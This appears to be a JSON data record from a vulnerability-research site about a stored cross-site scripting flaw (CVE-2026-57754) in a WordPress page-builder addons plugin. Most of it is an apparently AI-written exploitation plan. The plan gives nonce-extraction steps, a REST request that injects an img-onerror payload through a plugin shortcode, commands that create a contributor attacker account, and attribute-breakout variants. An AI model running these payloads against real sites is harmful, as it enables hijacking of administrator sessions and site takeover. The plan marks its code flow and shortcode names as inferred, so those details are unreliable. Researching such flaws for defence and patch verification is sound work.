[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ff3vBWDiaOkcNaYIxHcGqYCQgNVWPZakBfXzl6SI5Wz0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":24,"research_started_at":25,"research_completed_at":26,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":27},"CVE-2026-57754","wpbakery-page-builder-addons-by-livemesh-authenticated-contributor-stored-cross-site-scripting","WPBakery Page Builder Addons by Livemesh \u003C= 3.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting","The WPBakery Page Builder Addons by Livemesh plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","addons-for-visual-composer",null,"\u003C=3.9.4","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-02 00:00:00","2026-07-07 19:41:19",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffb2777c7-ccc6-4435-9862-c060ff6ceed5?source=api-prod",[],"researched",false,3,"This exploitation research plan targets **CVE-2026-57754**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WPBakery Page Builder Addons by Livemesh** plugin.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Authenticated (Contributor+) Stored Cross-Site Scripting.\n*   **Location:** Frontend rendering of plugin-provided shortcodes (WPBakery elements).\n*   **Root Cause:** The plugin fails to sanitize input during shortcode attribute processing and fails to escape output using functions like `esc_html()` or `esc_attr()` when rendering the element on the frontend.\n*   **Impact:** An attacker with Contributor-level access can inject malicious JavaScript into a post. When an administrator views the post, the script executes in their session, potentially allowing for account takeover or site configuration changes.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fpost.php` (for saving\u002Fupdating posts) or the WordPress REST API (`\u002Fwp\u002Fv2\u002Fposts`).\n*   **Hook\u002FAction:** Standard WPBakery shortcode processing via `add_shortcode`.\n*   **Vulnerable Parameter:** Attributes within plugin shortcodes (e.g., `title`, `description`, `link_url`).\n*   **Authentication:** Authenticated, Contributor-level or higher.\n*   **Preconditions:** The plugin must be active, and WPBakery Page Builder must be enabled for the \"Post\" or \"Page\" post type.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers WPBakery elements, which are essentially wrappers for WordPress shortcodes (e.g., `ls_heading`, `ls_accordion`).\n2.  **Input:** A Contributor creates a post and adds a Livemesh element. WPBakery saves this into the `post_content` database field as a shortcode: `[ls_heading title=\"\u003Cscript>alert(1)\u003C\u002Fscript>\"]`.\n3.  **Processing:** When the post is viewed, WordPress parses the shortcode and calls the plugin's registered callback function (e.g., `Livemesh_Addons_Elements::render_heading`).\n4.  **Vulnerable Sink:** Inside the rendering function, the `$atts` array (containing the title) is extracted. The code likely contains a line similar to:\n    `echo '\u003Ch3 class=\"ls-heading\">' . $atts['title'] . '\u003C\u002Fh3>';`\n    Instead of:\n    `echo '\u003Ch3 class=\"ls-heading\">' . esc_html($atts['title']) . '\u003C\u002Fh3>';`\n\n### 4. Nonce Acquisition Strategy\nWhile the primary exploit involves saving a post (which uses standard WordPress `_wpnonce`), if the plugin uses a custom AJAX handler for dynamic previews within the WPBakery editor, a specific nonce might be required.\n\n**Strategy for AJAX-based exploration:**\n1.  **Identify Script:** Look for the script that enqueues the plugin's admin assets.\n2.  **Shortcode Creation:** Create a page containing a Livemesh element to ensure scripts are enqueued:\n    `wp post create --post_type=page --post_status=publish --post_content='[ls_heading title=\"Test\"]'`\n3.  **Browser Navigation:** Navigate to the page or the editor for that page.\n4.  **Extract Nonce:** Use `browser_eval` to extract the localized nonce. \n    *   **Inferred Variable:** `window.ls_addons_data?.ajax_nonce` or `window.vca_settings?.nonce`.\n    *   **Action:** `browser_eval(\"window.ls_addons_data.ajax_nonce\")`.\n\n*Note: For standard Stored XSS via post content, the `wp_rest` nonce or the `post.php` nonce is sufficient, which is handled automatically by the authenticated session.*\n\n### 5. Exploitation Strategy\nWe will use a direct `http_request` to simulate a Contributor saving a post containing the malicious shortcode.\n\n*   **Step 1:** Log in as a Contributor and obtain the `X-WP-Nonce` for the REST API (simplest way to create a post).\n*   **Step 2:** Construct the payload using a common Livemesh shortcode (e.g., `ls_heading`).\n*   **Step 3:** Send a POST request to create\u002Fupdate a post.\n\n**HTTP Request (POST):**\n*   **URL:** `https:\u002F\u002Fexample.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_REST_NONCE]`\n*   **Body:**\n```json\n{\n  \"title\": \"XSS Test Page\",\n  \"content\": \"[ls_heading title='\u003Cimg src=x onerror=alert(`XSS`)>']\",\n  \"status\": \"publish\"\n}\n```\n\n### 6. Test Data Setup\n1.  **User:** Create a contributor user.\n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n2.  **Plugin Setup:** Ensure `addons-for-visual-composer` is active and WPBakery is installed.\n3.  **Discovery:** Run `grep -rn \"add_shortcode\" wp-content\u002Fplugins\u002Faddons-for-visual-composer\u002F` to identify the exact shortcode tags (likely starting with `ls_`).\n\n### 7. Expected Results\n*   The post is successfully created with the shortcode.\n*   When navigating to the post URL (e.g., `https:\u002F\u002Fexample.com\u002F?p=123`), the HTML response contains the raw, unescaped payload:\n    `\u003Ch3 ...>\u003Cimg src=x onerror=alert(`XSS`)>\u003C\u002Fh3>`\n*   An alert box with \"XSS\" appears in the browser.\n\n### 8. Verification Steps\nAfter the HTTP exploit, verify the database state via WP-CLI:\n1.  **Check Content:**\n    `wp post get [POST_ID] --field=post_content`\n    Verify it contains the malicious shortcode.\n2.  **Check Frontend Output:**\n    `curl -s \"https:\u002F\u002Fexample.com\u002F?p=[POST_ID]\" | grep \"onerror=alert\"`\n    Ensure the payload is rendered literally and not escaped (e.g., not converted to `<img`).\n\n### 9. Alternative Approaches\n*   **WPBakery Frontend Editor:** Use the `browser_navigate` tool to open the WPBakery Frontend Editor as a Contributor and manually inject the payload into a \"Heading\" element. This tests if the vulnerability exists in the editor's \"Preview\" mode as well.\n*   **Other Shortcodes:** If `ls_heading` is patched or filtered, test other complex elements like `ls_accordion`, `ls_tabs`, or `ls_pricing_table` as they often use different rendering logic.\n*   **Attribute Breakout:** If the input is placed inside an attribute (e.g., `link='[URL]'`), use attribute breakout:\n    `[ls_button link='#' onmouseover='alert(1)']`","gemini-3-flash-preview","2026-07-25 10:44:21","2026-07-25 10:45:06",{"type":28,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":29},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faddons-for-visual-composer\u002Ftags"]